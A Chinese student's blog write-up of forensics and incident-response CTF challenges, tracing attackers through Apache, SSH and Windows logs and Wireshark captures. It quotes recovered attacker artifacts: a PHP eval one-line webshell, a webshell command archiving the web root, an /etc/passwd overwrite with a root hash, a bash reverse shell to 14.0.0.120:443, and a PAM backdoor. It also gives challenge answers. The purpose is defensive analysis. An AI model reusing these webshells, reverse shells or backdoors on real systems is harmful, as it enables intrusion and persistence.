DIDCTF-应急响应

发布于:2025-06-19 ⋅ 阅读:(18) ⋅ 点赞:(0)

前言

最近在学长分享应急响应与电子取证的知识,又恰逢期末周没有课,记录自己在取证道路的成长。

linux-basic-command

下载附件,得到Apache 服务器访问日志文件,根据题目要求找出排名前五的ip,题目提示写脚本,脚本如下

from collections import Counter

def extract_ips_from_log(log_file_path):
    ip_list = []
    
    with open(log_file_path, 'r', encoding='utf-8') as file:
        for line in file:
            # 提取 IP 地址(Apache日志默认第一个字段是IP)
            parts = line.split()
            if not parts:
                continue
            ip = parts[0]
            
            # 检查时间戳是否在2015年(格式如 [12/Dec/2015:18:25:11 +0100])
            if "2015" in line:
                ip_list.append(ip)
    
    return ip_list

def get_top_ips(ip_list, top_n=5):
    ip_counter = Counter(ip_list)
    top_ips = ip_counter.most_common(top_n)
    return [ip for ip, count in top_ips]

def main():
    log_file_path = r"D:\取证\access.log"  # 使用原始字符串(raw string)避免转义问题
    ip_list = extract_ips_from_log(log_file_path)
    top_ips = get_top_ips(ip_list)
    
    # 输出结果,用逗号分隔
    print(",".join(top_ips))

if __name__ == "__main__":
    main()

注意修改文件路径即可。

flag{148.251.50.49,213.150.254.81,37.1.206.196,178.191.155.244,195.212.98.190}.

ire7-windows-log

下载得到日志文件,先点开看到信息,应该是跟登录有关,看了看信息发现登录失败,并且有关键字“审核失败”,那我们直接搜"审核成功"发现key

key{5sBgaXqR}

wireshark0

根据题目提示找到key1,直接搜索字符串“key1”在tcp流88找到答案 HYDw29eP

 wireshark0.5

题目描述为用户登入,其实可以先搜包含login的数据包, http contains "login",

 大眼一看这么多get请求中夹着post,直接去看post请求的包,果然发现了密码

flag{0p-0p-0p-} 

linux-log

依据分析日志,我是先看到最后一条日志,

Nov 20 12:05:26 student sshd[2052]: Accepted password for root from 192.168.4.223 port 54847 ssh2
Nov 20 12:05:26 student sshd[2052]: pam_unix(sshd:session): session opened for user root by (uid=0)

这应该是登录成功了,提交时间flag{120526},发现不对,然后我就搜索了"Accepted",然后看到第一出现的日志

Nov 19 17:28:47 student sshd[5215]: Accepted password for root from 192.168.4.23 port 60563 ssh2

Nov 19 17:28:47 student sshd[5214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.4.23  user=root

Nov 19 17:28:47 student sshd[5215]: pam_unix(sshd:session): session opened for user root by (uid=0)

提交答案 flag{172847}正确

wireshark1

依旧老样子,先搜关键字key,发现www0587.zip,非常可疑,然后看看跟这个压缩包有关的数包,http contains "www0587.zip",果然就两个数据包,一个get请求,一个post请求,先看post请求,

 执行了一条命令

act=shell&cwd=%2Fvar%2Fwww%2Fhtml%2F&p1=+zip+-P+Adm1n%21+www0587.zip+-r+%2Fvar%2Fwww%2Fhtml&p2=&p3=&p4=&charset=gbk

  • 使用 zip 命令打包网站目录 (/var/www/html)

  • 设置压缩包密码为 Adm1n!(常见弱密码)

  • 生成名为 www0587.zip 的压缩文件(可能用于后续下载)

然后是get请求,打开看到乱码,猜测key应该在压缩包里。然后就想办法导出压缩包。在wireshark中能够将流量包中zip文件导出,具体步骤

捕获或打开包含文件传输的流量包 (如HTTP、FTP、SMB等协议)点击菜单栏的 "文件(File)" > "导出对象(Export Objects)"根据传输协议选择相应选项(如HTTP、SMB等)在弹出的窗口中,Wireshark会列出所有可导出的对象查找并选择您需要的压缩包文件(可通过文件类型或大小识别)点击"保存(Save)"或"保存所有(Save All)"按钮选择保存位置并确认。

使用其他方法可能会得到数据损坏的文件,导出后也知道了密码,就解压找key就行了

在Th1sLSth3key文件里

key:4tEm21x5

welog1

依旧是熟悉的日志文件,我一般都是直接看最后一个,发现状态码200,直接让ai分析一下日志,

使用into outfile将恶意代码写入服务器,

恶意代码就是<?php @eval($_POST['3b90d75de248ce55b66e8e30873b6000']);?>,一句话木马,那密码就是3b90d75de248ce55b66e8e30873b6000

flag{3b90d75de248ce55b66e8e30873b6000}

wireshark2.1

根据题目提示找key4的值,直接搜字符串key4,

发现key4.txt,根据上面写的方法导出文件,题目有给出了压缩包密码,得到flag

C8iuACXB

data-recovery

题目要求恢复磁盘文件,需要用工具DiskGenius,具体操作流程如下(下面这几张图是偷学长的,他不知道,,,)

 然后把压缩包解压flag就在里面了。

flag{73D3DA963F7505E9}

wireshark2 

题目给了两个流量包,通过某种特殊协议传输的敏感数据key1的值。老样子直接搜字符串key1,在第一个数据包没搜到,再第二个数据包发现可疑数据

 让ai分析后发现这段十六进制数据转换为ASCII文本后,显示的是一个Linux/Unix系统中的目录列表。执行了ls命令,然后继续往下看,ls命令执行后又执行了 cat key.txt,内容为

welcome_to_cisp-ire_and_the_key1_is_6r56FeX8

答案就是6r56FeX8

所以第一个流量包有啥用??

wireshark3

给个流量包,根据上面几题来看,我直接搜key关键字,果然有发现

key:wHa1_a_bUsY_dAy!!

我以为是答案发现不对, 然后看协议分组统计发现有4个POST请求,

发现了压缩包,老样子导出压缩包,上面说的方法不行,然后又去看了其大佬的博客, 方法如下

在流量包中点Media Type

然后右键,选导出分组字节流,保存为zip文件,解压发现需要密码,就是上面的key,解压得到ZmxhZ3syNTQ2YTZkODBjNGRiNDg2MzVlYjZ9,一眼base64,解码得到flag

flag{2546a6d80c4db48635eb6}

2024长城杯决赛-溯源取证

背景材料

您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。

条件限制,没有靶机,但是用流量包也可以做

关卡1

要找出黑客攻击的两个ip,在wireshark中,统计->端点可以列出所有ip

 当时以为前两个就是,提交发现不对,所以只能一个一个分析。

先看ip为202.1.1.1的流量包 ip.src==202.1.1.1,

区分一下ip.addr和ip.src

条件 定义 包含的 IP 地址
ip.addr 匹配数据包中任何与 IP 相关的地址,包括源 IP 和目的 IP。 同时涵盖 ​ip.src​ 和 ​ip.dst​。
ip.src 仅匹配数据包的源 IP 地址,即发送该数据包的设备 IP。 仅指向数据包的发送方 IP。

​ip.addr == X​ 等价于 ip.src == X || ip.dst == X​(||​ 表示 “或” 关系)。

 而我们要找攻击者ip,所以用ip.src==202.1.1.1,服务器与客户端交互,服务器中也会有攻击数据,

看到好多post请求,而且执行了命令,这个就是黑客ip,而202.1.1.66就是受害者,

然后看202.1.129和202.1.1.130 ,看202.1.129发现执行了命令

所以202.1.1.129也是黑客ip

综上 202.1.1.1 202.1..1.129

关卡2

 要找登录密码,直接 http contains "login",然后一个一个看,在第二个包中发现flag

 {"flag":"password663399"}

关卡3

跟题目提示,找我无上上传权限的文件,直接搜 http contains "无上传权限",

文件名 pic.jpg

关卡4 

找api地址,就是上面那个图。答案就是  http://202.1.1.66:8080/api/upload

关卡5

要找上传路径,肯定是上传成功了,http.response.code==200,在tcp流51号找到了上传路径,http://202.1.1.66:8080/static/s74e7vwmzs21d5x6.jsp 但是没有靶机,答案是/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡6

这一关要找密钥,那就要看看那个木马了,让ai分析一下得到传入bing_pass生成密钥,提交后正确 答案是bing_pass

关卡7

既然文件都上传进去了,那我们要找相关数据包  http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",先看第一个包,给出了密钥,第二个是正确的b99f657b04941030,然后就是冰蝎流量分析,冰蝎一般连接服务端之后会默认发一个状态检测包,因此第一个包一

般不用看。看第二个包即可

有密钥有密文解密就行,

这是class文件,反编译得到源码,我用的是jadx反编译,得到答案 pwd

关卡8

继续看下一个流量包,按照上面的步骤,这次执行了whoami

 看响应体即可,这里把数据保存为原始数据,然后在AES解密,(图示网站AES在线解密 AES在线加密 Aes online hex 十六进制密钥 - The X 在线工具

base64解密 得到 tomcat这就是答案

关卡9

还是继续往下看 ,在tcp流174 中执行了4条命令,'cat /etc'  'ls'  'ls /etc'   'cat /etc/redhat-release'。而最后一条命令就是用于查看 Red Hat Enterprise Linux (RHEL) 或其衍生发行版(如 CentOS、Fedora)的系统版本信息。同上方法解密响应体得到答案 

CentOS Linux release 7.4.1708 (Core) 

关卡10

在看流量包是看到

GET /static/secert.file HTTP/1.1

这个路径和第5题有点像,在同一目录下/usr/local/tomcat/webapps/ROOT/static/secert.file

关卡11

http.request.method == "POST" && http.request.uri contains "s74e7vwmzs21d5x6.jsp",

继续向下看后黑客又执行了几条命令,在tcp流283中,

 响应体显示succcess,连接成功,看tcp 284就行

 执行了命令cat /etc/passwd

关卡12

在执行了cat /etc/passwd,黑客又执行了

echo -e "root:\$6\$KHysqjWMnoaHJ4QW\$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\navahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ngeoclue:x:998:996:User for geoclue:/var/lib/geoclue:/sbin/nologin\nrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin\ncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin\npulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin\ngdm:x:42:42::/var/lib/gdm:/sbin/nologin\nchrony:x:996:992::/var/lib/chrony:/sbin/nologin\ntomcat:x:1000:1000::/home/tomcat:/bin/bash\n" > /etc/passwd

这条命令替换了root用户的密码哈希值,所以通过/etc/passwd文件修改密码

关卡13

已知密文是$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..

解密就行了,看大佬都是用hashcat但是我复现光出错,我再去沉淀沉淀。。。

密码是123456(别问我怎么知道的)

关卡14

上面得到ip和端口

202.1.1.129:4444,但是不对,搜索该ip后发现不但有4444端口,还有9999端口

 答案是202.1.1.129:9999

关卡15

反连的ip和端口我们已经知道了,直接找 tcp.port==9999,在tcp流536中找到答案

rpm -qa | grep pam

rpm -qa | grep pam 是 Linux 系统中用于查询已安装的 PAM (Pluggable Authentication Modules) 相关软件包的命令。下面我将详细解释这个命令的作用和典型输出

关卡16

 这一看正好题目给了这俩文件,已提交果然对了

pam_unix.so

关卡17

这就要用到题目给的那两个文件了,这个文件可以用IDA打开,我学的web这IDA也不会用,只好求助我学逆向的同学,然后找到了,这个字符串比较,如果不相等就退出

 ssh_back_pwd就是密码

关卡18

如上图,文件就是/tmp/.sshlog

流量特征分析-常见攻击事件 tomcat - From 玄机

tomcat-1

让分析可疑ip,先统计分析一下

 看最多的那两个先看14.0.0.120

ip.src==14.0.0.120;

看到许多SYN包,猜测是SYN Flood 攻击

流量特征:
发送大量 SYN 包,尝试建立连接但不完成三次握手过程(半开连接)。
TCP SYN 包的来源端口和目标端口多为随机,常见目标端口为 21(FTP)、22(SSH)、80(HTTP)、443(HTTPS)等常见服务端口。
如果目标主机回复 SYN-ACK 包,Nmap 会立即发送 RST 包来中断连接。
nmap默认扫描就是SYN扫描,数据包中User-Agent都是带有特征的

那这个就是攻击者ip

flag{14.0.0.120}

tomcat-2

然分析地址,在线网站查询一下就行ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名

flag{guangzhou}

tomcat-3

1. 常见的 Web 管理端口

通常,Web 服务器管理面板会使用以下常见端口:

80(HTTP):不安全的网页访问。
443(HTTPS):安全的网页访问。
8080:常见的备用 HTTP 端口。
8443:常见的备用 HTTPS 端口。
2082, 2083:cPanel 默认管理端口。
10000:Webmin 默认管理端口。
8006:Proxmox Virtual Environment 管理端口。
3000:用于许多自定义和开发中的管理面板,如 Grafana。
同样的我们也可以通过一下特征来识别管理面板;

根据流量内容,可以识别是否是管理面板的访问请求。通常,管理面板的 URL 路径可能包含如下关键词:admin
login
cpanel
webmin
dashboard
manage
搜索'admin'发现就是8080端口,

flag{8080}

tomcat-4

上文说到黑客应该是用NMAP扫描目录了这时候就可以看一下User-Agent,带有特征的

要看原地址是黑客ip的流量包

flag{gobuster}

tomcat-5 

第一想法是直接搜login http.contains "login",没有找到答案,然后找了一圈啥也没找到,最后分析协议是发现只有一个POST请求,看一下,发现Authorization

HTTP基本认证是一种常见的用户认证方法。它的工作原理是通过HTTP头部的 Authorization 字段来传递用户的凭证(用户名和密码)。Authorization 字段紧跟着一个 Basic 关键字,后面跟着一串Base64编码的字符串。

解码得到flag

flag{admin-tomcat}

tomcat-6 

还是那个流量包,有个文件JXQOZY.war,

flag{JXQOZY.war}

tomcat-7

这个是真不会,无从下手,然后看大佬博客

在流量中,任何涉及到管理接口、上传文件、或执行命令的请求都需要重点关注。例如:

POST /manager/html/upload:上传文件请求
/bin/sh 或 /bin/bash:执行命令的请求
提权后的持久化手段

攻击者常用的方法包括:

上传恶意文件:例如,WAR文件中可能包含shell脚本或其他恶意代码。
定时任务(cron job):通过定时任务执行恶意代码。
后门程序:例如,将恶意程序放置在 /bin 或其他系统目录。

直接搜“/bin"得到答案

flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'} 

结语

行文至此,大一下学期的取证就学到这,接下来要认真准备期末了。说来当时学长刚开始讲取证的时候,也没有太大的兴趣,后来自己在刷杂项题的时候,看到了取证题脑袋一热就想学,就以此篇文章为我学取证的开篇。剩下的题目等期末考试后再写。

路漫漫其修远兮,吾将上下而求索。(最后也祝愿大家期末考试门门都考90以上!!)


网站公告

今日签到

点亮在社区的每一天
去签到